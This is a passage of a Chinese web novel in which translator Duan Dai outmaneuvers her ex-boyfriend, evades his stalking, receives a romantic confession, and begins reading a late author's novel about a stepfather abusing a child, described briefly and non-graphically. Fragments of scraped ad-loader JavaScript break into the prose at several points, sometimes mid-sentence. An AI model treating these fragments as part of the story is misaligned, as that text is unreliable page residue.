段黛轻轻叹了口气。原文里女主始终留在林深,想来最后联名方案落地也是出了不少力的。现在没有原主这个冤大头了,林深的方案也是现了原形。 而且原主在那次被段墨放了鸽子之后就很少再翻译作品了,更遑论后来的世界名著新译系列与以Paragraph为笔名的日轻中译本。而段黛笔耕不辍,倒是让更有前途的品牌看到了自己和临译社,原本属于林深和临译社的双赢变成了优势全归于段黛。主动权在不知不觉间,就握到了段黛的手里。 放下手机后,段黛有种自己的命运完全被自己掌控的成就感。她看着屏幕,忽然就笑了。 什么狗屁的虐文。 只要我足够“自私”,那么谁都虐不到我。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈方烨收到临译社的拒绝信后精神恍惚。不是说林深现在比较适合这个量级的作品吗,为什么还是被拒绝了?他不死心又去问,得到的回答全是官方的废话,什么贵品牌不太适合我们作品,或者目前我们并没有让《看着我的眼睛》这部作品联名的打算云云。 他焦急地刷着社交平台,官宣联名的奶茶品牌一个接着一个,趁着世界读书日和图书联名的品牌也是应有尽有。 忽然他就刷到了一个帖子。 ——Season与临译社的段黛世界名著新译系列《殡葬师》联名!将在4月23日推出…… Season?段黛? 陈方烨的大脑一阵轰鸣,临译社已经和Season合作联名了,并且联名的还是段黛翻译的作品? 陈方烨的胸中燃起一股无名火,在众目睽睽之下,他直接跑出了办公室冲下了楼。宋语瑶看到他的背影时摇了摇头:“什么癫公。” 陈方烨开着车来到了段黛曾经租住的出租屋楼下,虽说段黛说了不喜欢人直接找到家门来,但毕竟自己被段黛拉黑了,想找人只能通过这种简单粗暴的方式。停好车之后陈方烨就冲上了电梯,出来之后一边敲门一边喊:“段黛!联名的事是不是你搞的鬼!你在家吧段黛!” 门“咔”的一声就打开了,走出来了一个个不高纹着花臂的精神小伙。陈方烨懵了一下:“你谁啊。” 段黛现在口味儿这么重了吗? 精神小伙睨了他一眼:“老子还想问你是谁呢,敲你大爷呢敲?老子一个人住在这,你找错门了吧?” 陈方烨从门缝里看到屋里大变样时愣了一下,段黛搬走了? 他硬着头皮问:“你是什么时候搬过来的……” “江南江北一条街,打听打听谁是爹,”精神小伙翻了个花手,“先穿袜子后穿鞋,先当孙子再当爷。” 陈方烨:“……” 精神小伙:“你爹我去年年底就搬过来了,有何贵干?” 陈方烨在精神小伙的社会人语录下落荒而逃。 回到车上的陈方烨越想越气,最后他翻出了段黛的手机号打了过去。几分钟之后手机接通了,段黛有些性冷淡的声音穿了出来:“喂您好,请问哪位?” 陈方烨没想到段黛居然都没存他的手机号,一时间不知道是哭是笑:“是我。” 段黛基本上很少用手机号打电话,再加上很久没和陈方烨联系了,所以早八百辈子就把他的声音忘在脑后了。她微微蹙眉,坐在人体工学椅上转了个圈:“你是谁啊?” “……” 陈方烨深吸一口气:“段黛,你为什么要让临译社拒绝和林深联名?” 话说出口之后陈方烨就后悔了。段黛就算面子再大,也不可能让出版社拒绝其他作品的联名。但他觉得这和段黛一定脱不了干系,情急之下便嘴瓢了。 然而段黛却是咯噔一下。她紧张地握住了手机:“你怎么知道是我?” 63. 世界读书日 此话一出,懊悔的陈方烨登时懵了。 “……什么意思,还真是你搞的鬼?” 段黛听着他的话仔细一分析,登时松了口气。估计是陈方烨在被拒绝后又看到了Season和《殡葬师》的官宣,气急败坏了才会迁怒到她身上来。 吓死了,段黛还以为自己的马甲这么快就暴露了呢。 段黛一秒变作颐指气使的语气:“我是说,你联名失败和我有什么关系?” “那为什么Season和你的作品联名了!” “那当然是因为Season的方案足够优秀,而《殡葬师》这部作品也扣人心弦啊,”段黛语重心长道,“遇到困难多在自己身上找原因,你们的方案合格吗?作品的读者会因为联名去买奶茶,而喝奶茶的人未必会因为联名去关注作品,在联名里IP才是第一位的,你明白这一点吗?” “这我当然明白!” 段黛:“那你自己考虑考虑吧,为什么Season可以而林深不可以。” “我怎么知道……”陈方烨听到电话里“滴”的一声,登时愣住了。他看了一眼手机,这才发现电话被挂断了。 他气的再次拨打电话,可段黛已经把他的手机号拉黑了,电话自然是拨不出去的。 “……” 陈方烨只得再次回到公司。开车的时候他忽然意识到一个问题,自己还没问段黛现在住在哪呢? 这一通电话打过去,除了被羞辱了一通之外竟是一无所获! 陈方烨一脸萎靡的回到了办公室,员工们显然对自家老板总是犯神经病这件事已经习惯了。 偏偏陈方烨走过楼道时,听到宋语瑶在打电话:“和临译社联名的物料吗?临安这边……需要我和店长一起去看是吗,好的好的……” 陈方烨登时就炸了。他怒气冲冲地走到宋语瑶面前:“你还管Season的联名?” 宋语瑶挂了电话,一脸奇怪地看着他:“别大惊小怪的,林深都有Season的股份呢。” 陈方烨冷笑一声:“你很得意吧?Season和畅销书联名了,而林深努力了好几个月都被拒绝……” 宋语瑶嗤笑一声:“非得我把话说的那么难听吗?” “……什么?” 宋语瑶拽着陈方烨的手腕向办公室走去,打开电脑,点开那个歪七八扭的文件:“先不说这个毫无诚意的排版和混乱的格式到底是谁做的……我问你,这个销售方案到底是谁想的?” “……我想的。” 宋语瑶“噗嗤”一声笑了:“买一单奶茶送一张贴纸,还是随即送。这贴纸也没什么特别的,就是书里的台词摘抄而已,每一句话还都打了品牌水印……你不会真的觉得这种联名有多吸引人吧?” 陈方烨一脸困惑:“不吸引人吗?” 原来人在无语到极点的时候真的会笑。宋语瑶无奈地摇了摇头:“读者也不是傻子,你设计的这个方案……吃相太难看了。” “……” “更何况,有Season的榜样珠玉在前,你这个方案又怎么能打动临译社?”宋语瑶无奈叹息,“专业的事交给专业的人去做,你瞎比划一堆,真以为自己什么都行了?” 临走时宋语瑶还不忘评价一句:“什么破烂。” 世界读书日如期而至,林深到底是没有联名。段黛领到了新的工作,依旧缩在自己的安全屋内对着电脑和阅读架敲敲打打。 手机震了一下,是黎尚轩发来的照片。他买了一杯Season的奶茶,奶茶杯和纸袋子都有《殡葬师》的相关图案,杯套撕开还能看到女主的经典语录。 黎尚轩:【还挺好看的。】 段黛伸了个懒腰,拿起手机来回复:【哈哈,你也去买联名了啊。】 黎尚轩:【今天上线第一天,门店都爆单了呢!】 段黛发了个大笑的表情包,随后又问:【对了,你新家装修的怎么样了?】 黎尚轩:【硬装完成啦,这几天家具入场,过段时间就能搬家了。】 段黛:【等你好消息。】 Season诞生于大学生创业项目,主创团队是都是女生,短短几年就做到如此规模,可见其厉害。这样的奶茶品牌又和女性主义的小说《殡葬师》联名,可谓是从各种意义上都相互契合。 不少女生在撕开杯套上“谁夺走了你的光芒”的字样后看到里面“你本荣耀”四个字时泪流满面。这说的不就是在国内被叫了二十多年“我亲爱的男友”的《殡葬师》吗? 都说联名不会让喝奶茶的人去看原作品,但Season的这次联名或许是触发了消费者的情感共鸣,以至于《殡葬师》的热销期极长,每日销量都在高歌猛进,丝毫没有要下落的趋势。临译社在各个发行平台上的数据凭借段黛一己之力冲到了最前头去,以至于关月兰现在看段黛就像看财神爷似的。 在反复加印了几次之后,劳动节的假期到来了,而黎尚轩的新家也彻底装修完毕。搬家这天段黛开了新车来到她曾经租住的小区,黎尚轩惊讶了一瞬,随即反应了过来:“你也买新车了呀。” 段黛记得自己上次走出小区的时候还得穿着大衣来着,现在天气转暖,竟然可以脱掉厚重的外套了。她穿了一身方便活动的运动装,把车停好后走了下来:“昨天刚提的。” 也真是巧了,段黛快搬新家的时候黎尚轩有了车,黎尚轩要搬新家的时候段黛的车也到了。 黎尚轩笑道:“恭喜恭喜。” 他收拾东西的时候才发现,自己出租屋里的东西比想象中的还要多。然而前段时间他又去了公司,把自己办公室里攒的那些杯子都端上了车,以至于后备箱已经被塞满了。 搬家的货车上装满了东西后还剩下一些零零碎碎的行李,原先他还担心自己一车带不走,现在段黛也开车来了,这个问题也迎刃而解了。 段黛端着他一套又一套的杯具下楼:“我猜到你家可能全是这些收藏品了。” 黎尚轩不好意思地笑了笑:“我也是才发现居然有这么多了……”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>工人们已经把大部分行李装上车了,两人在收拾完出租屋之后有说有笑地下了楼。黎尚轩和工人说了一下目的地,接着便对段黛道:“咱们也出发吧。” 段黛点了点头,于是两人各自上了自己的车。 如果段黛在开车的时候能再注意一些,就会看到路边有一辆车是陈方烨的。 那天陈方烨发现段黛搬家后,费了好多心思去打听段黛如今的住址。然而她的亲哥段墨居然不知道什么时候出国了,而邓辞更是离谱,不仅一问三不知,还颓废的像是流浪汉一般,整个人的精神面貌都是萎靡不振的。原先一派精英男面相的邓辞佝偻着腰,面颊上的肉因为枯瘦而深深陷了下去,让陈方烨怀疑他别是出去要饭了。 陈方烨小心翼翼地问他:“你……你还好吗?” 邓辞的眼睛里一片空洞,活像行尸走肉一般:“就是破产了而已,没事的。” 林深现在举步维艰,陈方烨很听不得“破产”两个字,眼皮恶狠狠地跳了一下。邓辞瞥了他一眼:“找我什么事?” 在得知段黛搬家了的时候,邓辞耷拉着的眼皮终于掀了起来:“什么?” 陈方烨:“……我说,段黛不住在原来那个出租屋里了,你知道她搬去哪了吗?” 邓辞瞬间坐直了身子:“她搬家了?我怎么不知道!她搬哪去了?” 陈方烨:“……” 他到底在期待什么啊。 找不到答案的陈方烨开始浪费时间,公司也懒得管了,动不动就去段黛曾经住过的小区溜达一圈。谁知这天他居然真的看到了段黛,可是为什么她身边还有个男人? 陈方烨觉得自己心脏此刻像是被凿了一个洞一样。他原本以为他是不在乎段黛的,可是真看着她和别的男人谈笑风生时,他却是如此的排斥。 为什么呢段黛,她不是最爱自己了吗? 这么多年的感情,怎么说没就没了可呢? 一瞬间陈方烨很想冲上去质问,但他还是忍住了。他躲在车里悄悄地看着,慢慢意识到了一件事。 他们在搬家。 那个男人的脸他有些面熟,但怎么也想不起来到底是在哪见过。 就在陈方烨以为他们要上车走了的时候,却看到段黛独自上了另一辆车。 还是驾驶位。 段黛居然……买车了? 段黛确实是有驾照的,不过她的水平不是很好。陈方烨记得那次自己喝了酒只能让段黛开车,段黛有些胆怯,他便坐在副驾驶上指挥她。 那时段黛一路开的很慢,光是从停车位里出来就花了好长时间。 后来段黛愈发地排斥开车了,陈方烨再遇到不方便开车的时候就只能叫代驾了。 可是现在…… 隔着窗玻璃,陈方烨看到段黛毫无表情地发动了车子。她娴熟地操纵着方向盘,跟上了一开始和她聊天的那个男人的车。全程行云流水,毫无阻塞之处。 陈方烨看着她扬长而去的车后屁股懵了一下,犹豫片刻后也跟了上去。 64. 小区有门闸的必要性 一辆搬家货车后面跟着两辆小车,当然再观察一下就能看到后面不远处还有一辆车子跟着他们。很快,这几辆车子就到达了他们所住的小区。 货车在小区门口停了下来,司机放下车窗来和保安说了几句什么,接着保安就挑开门闸,让车进去了。陈方烨看着眼前的小区,心里咯噔一下,这个小区算是中高档型的了,并且还在这种黄金地段…… 段黛是帮那个男人搬家,那个男人从出租屋搬到了现在的位置…… 陈方烨的脑子一团乱麻,本来在想莫不是段黛傍上了新的有钱人,转念一想段黛自己的资产好像就挺可观的了,于是冒出了一个更加奇葩的想法——段黛包养了一个小白脸? 但是正常人会让金丝雀自己单独开车吗? 陈方烨的脑子里推算出了无数种可能,最后都要归结于一句“段黛怎么堕落了”。眼看着黎尚轩和段黛两人的车子一前一后地进了小区,陈方烨也赶紧追了上去。 然后就被门闸挡在了外面。 陈方烨:“……” 保安探出头来,陈方烨摇下了车窗。他听到保安问:“来做什么的?” 现在是个小区都不会轻易放外来车辆进入的,陈方烨才意识到这一点。他尴尬地笑笑:“我……我来找我朋友。” 保安:“你朋友是哪一户的业主?” 陈方烨:“……” 保安:“你这样子,我是不能让你进来的啊。” 陈方烨结结巴巴胡诌了一个户号,保安叹了口气:“这一号楼没有这一户啊。” 陈方烨:“……” 不是,为什么这个保安这么较真?一般不都是说两句就能开进去了吗? 这还真没办法。之前黎尚轩还没在这里买房子的时候是段黛那一户的设计师,在物业那里登记之后自然畅通无阻,所以才能开车到段黛的楼下。后来他也成了这里的业主,自然就更不受限制了。当时登记的时候物业还笑:“设计师也来咱们小区买房子了呀。” 黎尚轩那时笑道:“来这工作了几个月,感觉咱们小区环境不错,所以也想搬过来了。” 搬家公司的车也都是提前登记过的,和门卫保安核对一下就能进去了。偏偏陈方烨什么都不是,找借口又找的非常蹩脚。保安一看来者不善,自然就把他挡在了外面。 陈方烨只得把车倒了出去。他停在路边,下来之后想自己走进去。然而行人入口那里也有门闸,并且方才的保安就站在那里,一脸好笑地看着他。 陈方烨落荒而逃。 方才在路上的时候,段黛察觉到好像有辆车一直在跟着她。不过思索片刻后段黛就不紧张了,因为小区门口的门闸就能把人拦下来。 货车停在楼下,工人们动作迅速地将车上的行李一样一样地挪下来放到拖车上。段黛和黎尚轩也停好了车子,把后备箱里的东西往上搬。 东西虽然多,但只是挪到家里还是很快的。工人们搬完了所有的箱子后便离开了,两人站在黎尚轩的新家里看着堆起来的箱子,半晌笑了起来。 黎尚轩摊手:“又是漫长的拆箱归类啊。” 段黛:“我怎么感觉才搬完一次家,现在又搬家了……” “错觉,都已经过去四个月了。” 黎尚轩挽起袖子:“咱们加油吧,早收拾完早结束。” 黎尚轩的新家里有很多隔断都是用玻璃展柜做的,既有收纳功能又能透光,还能做好功能区划分,可以说是一举多得。段黛负责把黎尚轩海量的杯子收藏都放到玻璃展示柜里,这项工作比黎尚轩正在搬来搬去的内容要轻松多了。她看着大量的玻璃柜有些好笑:“这些都是你用来放杯子的?用得着这么多吗?” 黎尚轩意味深长地看了她一眼:“等你往里放的时候就知道了。” 接连拆开几箱子的杯子后,段黛意识到设计师做的每一处设计都是有意义的事实。 黎尚轩的新家很有复古电影的感觉,段黛在往柜子里放东西的时候都觉得赏心悦目。她端详着墙壁上的石膏线条和暗红色的墙漆:“有一种我就是电影里的人的感觉。” 刚把箱子搬到卫生间里的黎尚轩笑道:“这说明我的设计到位了。” 两人从中午忙活到傍晚,所有的箱子终于都瘪了下去。就在段黛洗手时,门铃响了起来。 她甩了甩手上的水珠,从卫生间里出来:“谁啊?” 这个时候还有谁来? 黎尚轩开了门,接着拿了一有某某超市标志的袋子进来:“刚刚下单买菜配送,收拾完东西后真的懒得再下楼买菜了。” 段黛莫名松了口气,她还担心是黎尚轩的熟人什么的,自己可并不想突然和陌生人社交。松懈下来后她过去帮忙提袋子:“买了这么多?” 黎尚轩莞尔:“说好的请你吃饭嘛。” 段黛看到他的脸上还有因为忙活而出的汗,道:“先不急着做饭。咱们刚收拾完东西,先休息一会儿吧。” “也是,那……”黎尚轩看了一眼墙上的挂钟,“现在五点十分,六点钟开始做饭吧。” 黎尚轩去洗了脸,随后在沙发上一瘫。段黛做的体力活不是很重,所以现在也没多累。她倚靠在沙发上有一下没一下地玩着手机,更多地还是在打量屋子里的陈设。 “你知道‘温锅’吗?” 黎尚轩突然开口,段黛微微一愣。思索片刻后她反应了过来:“……啊,我知道。” 黎尚轩笑了起来:“初中还是高中的时候,语文做过一篇阅读理解,就叫温锅。那个时候我才知道,原来搬新家后是要在家里请朋友们吃饭的。” 温锅算是庆祝乔迁之喜的一种形式,亲朋好友会提着礼物上门,在主人的新家里聚餐,有增进邻里感情、聚拢新宅人气等美好祈愿。 段黛点头:“我也是在阅读理解里知道的。” 随后她恍然大悟,难怪那天她搬家的时候,黎尚轩想在她家下厨呢。只不过因为厨房空荡荡的,才退而求其次点了外卖。 段黛对这些习俗和仪式感的东西并不在意,当时请黎尚轩吃外卖纯粹是因为对方帮了自己的忙,后来请关月兰她们来更多的也是借着庆祝乔迁的由头把从伦敦带来的礼物送给她们。 没想到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 黎尚轩还挺有仪式感的。 段黛忍不住笑道:“你的朋友应该不会只有我一个吧。庆祝你搬新家只有我一个人在?” 黎尚轩的耳朵上多了几分红色:“嗯……今天就只和你一起庆祝好啦。其他同事朋友之类的改天再说。灵活一些,变通一下嘛。” 留段黛吃饭是为了仪式感,朋友们过两天再说又是变通一些。段黛好像感觉到了一些不同寻常的地方,但又朦朦胧胧地抓不住。 六点到了,黎尚轩准时起身,进入厨房。段黛也跟着走了进去,帮忙打打下手。 黎尚轩把蔬菜从塑料袋里取出来,放到水槽里洗菜。 “你吃过奶酪烤菜吗?” 段黛打开锡纸往烤盘上铺:“看动画的时候见过,不过没吃过呢。” 她抬起头来:“你要做那个吗?” 黎尚轩点头。 段黛继续铺锡纸:“那我就期待一下。” 蔬菜和肉片调味后一层一层地铺在烤盘上,最上面撒了一层马苏里拉芝士碎,接着放进烤箱里烘烤。等待烤制的时候黎尚轩又开火做了两道菜,最后所有食物一起出锅上桌,时间把握的刚刚好。 坐在餐桌前,段黛抿了一口南瓜粥。南瓜被料理机打成了酱,喝起来浓稠而香甜。 “这个好喝。” 黎尚轩摘掉围裙:“好喝就行。” 黎尚轩的手艺一如既往地不错。段黛见过的菜式自是不必多说,没见过的做法吃起来也是新奇而美味。段黛开玩笑道:“你这么会做饭,我都想天天来蹭饭了。” 黎尚轩眉眼弯弯:“可以啊,反正都在一个小区,随时都可以来蹭饭。” 段黛歪头:“正好还能让我出门活动一下……开玩笑的。” 黎尚轩缓缓咀嚼着口中的食物,咽下去之后开口道:“段黛,其实……” 段黛抬头看他:“嗯?” 黎尚轩:“其实我在追你。” “……” 段黛震惊地瞪大了眼睛:“啊?” 黎尚轩耳朵上的红色蔓延到了脸颊:“我觉得总是扭扭捏捏地也不太好,所以不如直说了。当然也不是要你马上就要给我答复的意思,只是我想让你知道……嗯……我喜欢你,现在我在追你。” 那种说不清道不明的感觉此刻终于有了答案,意识到这一切后段黛感觉自己的面颊也升温滚烫,有种计算机运行过载后即将死机地感觉。 “其实说起来你可能不信,咱们刚认识的时候我总看到你在‘正当防卫’,当时觉得你好厉害。能勇敢为自己争取的人都好厉害……而且你拿着打孔钳的样子真的很帅……” 段黛颇有些诧异。居然是因为她用打孔钳打人所以被吸引到的吗? 黎尚轩见她说不出来话,怕她太紧张,连忙道:“没事没事,先吃饭。看来是我太突然了……” 段黛又端起碗来喝了一口南瓜粥:“嗯……南瓜粥很好喝。” 她深吸一口气,脸上的红色慢慢褪去,恢复了从前波澜不惊的模样:“我会好好考虑的。” 黎尚轩露出了羞赧的笑容。 65. 真难为你找到我这里 因为黎尚轩直球的表白,这顿饭的气氛有些暧昧。段黛埋头吃饭,不太好意思抬头。 吃过饭之后黎尚轩叫她去沙发上休息就好,自己去收拾剩菜和餐盘。 段黛坐在沙发上平复了一下心绪,为了转移注意力他打开手机,点进V博随意刷了刷。 然后就在热搜上看到了自己。 #阿黛尔段黛 阿黛尔是一位中年时获得过诺奖的澳洲女作家,现在应该已经八十多岁了。段黛不知道为什么自己会和这个作家联系到一起,便点进了词条。 ——诺奖获得者阿黛尔于当地时间5月2日15:32去世…… 看到第一行字段黛愣了一下,阿黛尔去世了? 也是,毕竟这么大岁数了。 她轻轻感慨了一下,继续向后看。 ——……阿黛尔临终前表示,自己的最后一作已经完成,希望中文译本能够由中国女翻译家段黛来完成…… 段黛惊呆了。 啊? 我吗? 难怪词条上段黛的名字会跟在阿黛尔的后面,原来是对方的遗言里交代了希望能将自己的作品托付给段黛来翻译。段黛对此大受震撼,她没想到自己的名号能传的这么远,连远在大洋洲的人都能知道。 本来这种事应该由出版社交流沟通之后再和段黛来对接的,但是现在正是劳动节假期,除了发行部门的几个员工之外大家都放假了。所以消息只能通过新闻和网络的方式传播,最后以一种野蛮的方式直接撞到了段黛面前。 “……” 黎尚轩擦了手走了过来,他的领口微微敞开,段黛能看到他的锁骨。 “怎么了?” 段黛不知道该怎么解释,便把手机拿给他看:“我很……震惊。” 黎尚轩接过手机来仔细看了一番,大概了解了事情的经过:“天呐,这是……这个任务很沉重啊。” 他把手机还给段黛。段黛摸了摸自己的脸:“是啊,有点临终托孤的感觉了……” 阿黛尔的一生都奉献于创作事业,头发花白了也依然坚持每天写作,据说直到住院前一天她都在修改文稿。 黎尚轩倚靠在沙发的另一侧,摸出手机来也点进了词条。 “……阿黛尔的子女说,阿黛尔得知了《殡葬师》中译本的波折之后,被段黛的勇敢行径感动地落泪。她在住院之前就说,如果有机会的话一定要和这位中国姑娘见一面。” 黎尚轩轻轻念着词条里的帖子。 段黛沉默片刻后,轻轻地叹了口气。 “可惜她没过多久就住院了,到底也没完成这个愿望。所以才会在临终前留下遗言,希望能让自己的作品代替自己与段黛合作……” 黎尚轩转头看着她:“一方面感觉很悲伤,另一方面也为你感到高兴。接下来你要……” 段黛摩挲着手臂:“当然是会翻译的,不过具体的流程还是要和出版社沟通的。” 黎尚轩轻轻呼出一口气:“加油啊,段黛。” 临译社的社长放假在家接到了联络,迅速用官方账号做了回应,表示会和阿黛尔那边的责编做好对接。段黛也在和社长沟通之后发了V博,先是对阿黛尔女士的离世进行悼念,接着表示自己会竭尽所能完成对阿黛尔遗作的翻译。 五一假期结束之后,关月兰迅速上线。段黛在确定是对方的工作时间后发消息问:【阿黛尔的那个选题计划是在什么时候?】 关月兰:【应该不会很早,首先要澳大利亚本地先出版,然后我们这边才会上中译本。现在你还是继续翻译手上这本,到时候我们会帮你空出档期的。】 段黛:【这我知道。】 关月兰:【不过澳洲那边的编辑已经在整理稿件了,那边说在完成编加之后会先把初稿发过来,到时候我们可以先读一下看看。】 段黛:【OK。】 各种工作安排让段黛的大脑再次进入高速运转的状态,她又在家里盯着电脑,连着几天都没出门。眼看着冰箱渐渐空了,恰好黎尚轩也发来消息:【我猜你又一个周没出门,明天要一起去买菜吗?】 段黛看着窗外活动了一下身体,心道也该出去晒晒太阳了。于是她回复了一个【好】。 第二天上午,段黛在出门前看了一眼手机上的气温,最后大胆地穿上了短袖。换上运动鞋之后,她拎上一个帆布包,慢悠悠地下了楼。快到小区门口的时候,她看到了从另一个方向过来的黎尚轩。穿着白色T恤的年轻男人向她招了招手,段黛也因此露出了笑容。 见面后的两人自然而然地互相关心了一下对方的现状。黎尚轩在自家装修完毕之后再次进入工作状态,这几天又对接了一个客户。段黛手里的稿件也到了尾声,她近期打算再做一些别的事情。她入资的凤姿龙章近期已经完成了初步布局,准备进行下一步升级了,段黛决定搭一把手,为自己的收入做出一些小小的贡献。 不过她投资的事情并没有和任何人说,段黛是喜欢“闷声干大事”的,旁人知道多了对她未必有好处。 两人一前一后地出了门闸。超市就在马路对面,他们买菜只要过一条马路就行了。段黛走到人行横道边,眯着眼睛看着对面的红绿灯。 和煦的阳光照在身上暖洋洋的,段黛不由得感慨:“天气又暖和了啊。” 正想说现在真是一派岁月静好呢,陈方烨怒气冲冲的声音就传了过来:“段黛!” 段黛快有一年没见到陈方烨了,听到这个声音的时候还愣了一下。看到这位虐文男主后段黛迅速拉着黎尚轩往旁边走了走,远离车水马龙的马路。 毕竟一怎么样就被车创飞这种剧情在虐文里还是挺常见的,更何况在马路边争执也不怎么安全,段黛选择提前规避风险。 做完这一切后她抬起头来:“好久不见,这位不是林深的总裁——陈方烨吗。” 陈方烨:? 为什么要像个旁白一样介绍他的身份。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>陈方烨穿着白衬衣打着领带,下身是黑色西装裤,看起来和旁边房产中介的工作人员一模一样。段黛隐约记得,以前好像是邓辞喜欢穿这一套来着? 难道这是什么中介皮肤守恒定律吗? 黎尚轩默不作声地站在段黛身后,虽说没有挡在她前面,但也是寸步不离的跟在她附近。两人虽然没多亲密,但一看也知道关系不错。陈方烨把这一切都看在眼里,他艰难地咽了一下干涩的喉咙里仅存的一点唾液,开口质问:“你搬到这来了?” 段黛:“你是第一个找到我新住址的人,进度可以排第一了。” 段墨去了日本之后不知道是什么样了,邓辞被她在老家那边掀了老底之后也人间蒸发了,估计都不知道段黛已经搬家了。虽然不知道陈方烨是怎么找到的,但他确实是第一个发现段黛所在的小区的人。 陈方烨:“……你怎么一声不吭就走了?” 段黛一脸奇怪地看着他:“陈方烨,我们分手是一年前的事了吧?” 一提这个陈方烨有些绷不住了,他的声音里竟然不自觉地带了些哭腔:“我以为你只是跟我闹脾气,你怎么就移情别恋了!他是谁!” 他伸手指着段黛身后的黎尚轩,被指到的人微微歪头:“哎呀,你是那个流氓的外甥是不是?” 陈方烨:“……” 仔细看了一番黎尚轩的连,陈方烨瞳孔地震:“你竟然和他在一起了!” 苦情女主角被渣男男友的舅舅侮辱,这时男主角出场救下了女主角。面对和稀泥的渣男女主角伤心欲绝,最后投入了英雄救美的男主角的怀抱…… 陈方烨的大脑飞速运转着,得出了一个莫名其妙的结论后登时面露痛苦神色。他复杂而深情地看着段黛:“你……我……” 那句“我终于还是要失去你了吗”还没说出来,黎尚轩先不合时宜地开了口:“你爱我,我爱你,蜜X冰城甜蜜蜜?” 他甚至在林深总裁面前唱蜜X冰城的广告词,他好歹毒。 段黛有些不耐烦地摆了摆手:“你来这干什么?怎么,林深要在这附近开分店吗?” “……不是。” 段黛蹙眉:“那你怎么出现在这?” 陈方烨结结巴巴答不上来。他总不能说自己找不到段黛进不了小区,就连着好几天都在小区门口乱晃企图制造偶遇吧? 下一秒,段黛毫不留情地揭穿了他的目的:“你不会是特意在这堵我吧?” 陈方烨急得面红耳赤,连忙反驳:“怎么可能?你别把自己想的太重了笑死,你算什么啊还值得我专门来堵你……” 段黛点了点头:“也是,毕竟林深现在的状况不太好,总裁应该忙的焦头烂额才是,怎么会在这个节骨眼上在外面瞎转呢?陈总裁来这里,一定是他想到了拯救公司于水火之中的办法了。” 陈方烨:“……” 莫名其妙挨了一顿骂是怎么回事。 他大爷的,段黛是故意的吧? 66. 《那时我只有十二岁》 陈方烨看了看段黛又看了看黎尚轩,他刚才问段黛是不是和那个人在一起了她也不回答,心下愈发悲凉。而这两人一直用着同一种眼神看着自己,一副夫妻同心其利断金的架势更是叫他受不了。 陈方烨忍不住挑拨离间,讽刺道:“你新找的男人也不怎么样吗,我和你说了半天话了他一直躲在后面,都不维护你的。” 黎尚轩开口解释:“不是,段黛会扇你大嘴巴子的,我怕我挡在前面影响她出手。” 陈方烨:“……啊?” 段黛回头给他比了个大拇指:“就应该这样。” 最烦那种自以为要保护别人然后受了很不必要的伤的人了,实际上她自己就能出手解决问题,根本不需要什么不必要的牺牲。 黎尚轩又道:“你忘了你那个舅舅在ICU什么样了?对了,你舅舅现在还好吗?” 陈方烨的脸色变了。 段黛:“他舅舅死了,死因什么的就别追究了。” 陈方烨登时气血上涌,他向前走了几步想要去抓段黛,但是被段黛直接把手打掉了。他“嘶”了一声,顾不上问她为什么打人这么疼:“你都知道了什么?” 段黛耸了耸肩:“你急什么?不是按照咱们和解了结案了吗?” 那时候,段黛刚暗示完这个舅舅会拖陈方烨的后腿,接着钱耀祖就“意外”去世了。这其中到底有没有猫腻,一直看护的陈方烨又做了什么,段黛不用想就知道怎么回事。 陈方烨一想到这些就浑身颤栗,偏偏段黛又一副“我什么都没说你想到哪去了”的样子,倒显得是他一惊一乍了。 “好啦,我们要去买菜了,陈总裁也好好加油,让林深挺住了才是。” 段黛转头对黎尚轩道:“绿灯了,咱们走吧。” 进了超市之后黎尚轩才开口:“他就是林深的总裁啊。林深的财政状况不太好,有消息说Season打算收购林深呢。” 段黛推了一个购物车:“Season这些年来逐步深入全国,浙省这里还在发展。如果能收购了已经在临安根深叶茂的林深,那也有助于它在江浙沪进一步扎根。” “这样啊,我倒是不太清楚呢。” 段黛笑了笑:“到底和咱们无关,买菜才是主要的。” 段黛这些日子忙于工作,之前因为黎尚轩表白而带来的羞赧一扫而空。黎尚轩也并没有因为没得到回应而多么扭捏。他的追求很有礼貌,至少不会像陈方烨那样一声不吭堵在门口。他会提前发消息联系,确保在段黛比较方便的时候才会刷自己的存在感。比如像今天这样在段黛可能会出门的情况下约她一起出来逛超市。 之后的一个月里,黎尚轩偶尔会选择在她需要放松的时候约她出门吃饭。说来也是奇怪,段黛很不喜欢别人打扰她工作,但可能是黎尚轩找来的时间都比较恰到好处,所以段黛并没有觉得多么厌烦,反而欣然接受。 当她从工作之中抬起头来,说这多不好意思时,黎尚轩只会微微一笑。 “因为我在追你,所以你不需要对此有什么不好意思的想法,也不用费心思想怎么回礼。我只是希望在考察期间尽可能地表现自己罢了。” 段黛很是感动,下一秒就继续盯着一行又一行的单词做标记了。 她交稿的时候,澳洲那边阿黛尔的稿件也完成了编辑加工。定下的稿件发来了中国,由段黛和临译社的编辑同步阅读。 六月的临安再次炙热,只在夜晚才会有片刻的凉爽。空调将室内调整到最舒适的温度,段黛靠在沙发上,点亮支在一旁的落地灯,打开文件,将平板放在滑板桌的阅读架上,静静地开始她的阅读。 阿黛尔的遗作,名叫《那时我只有十二岁》。 因为只是文稿,澳洲那边还没到装帧设计和宣发了流程,所以也没有给临译社这边什么提示。段黛读过开头之后分析了一番,书里的主角有个作家母亲,父亲在她小时候出轨而和母亲离婚,后来在主角十二岁的时候母亲再婚。而阿黛尔也有一位作家母亲,父母同样也是因为男方出轨而离婚……结合阿黛尔本人的生平经历来看,这应该是一本半自传性质的作品。 但读着读着,她便顿住了。 冷汗从她的后背冒了出来,让她几乎僵硬在沙发上。 主角的继父来到了主角家之后,一开始对主角非常友善,让她体验到了从未有过的父爱。但是后来慢慢地就不对劲了,继父会故意和她进行不必要的肢体接触,有时候甚至会把手伸进衣服里面。主角那时已经十二岁了,已经有比较明确的性别意识了,她很不喜欢这种接触,于是告诉了自己的作家母亲。 但是母亲选择了视而不见。 随着主角年龄的增长,来自继父的猥亵也越来越严重。主角开始抗拒回家,躲在朋友家里,即便回家也尽量避开和继父碰面。但是在她十七岁那年,她被继父锁在了家里。 然后…… 段黛只觉得毛骨悚然。 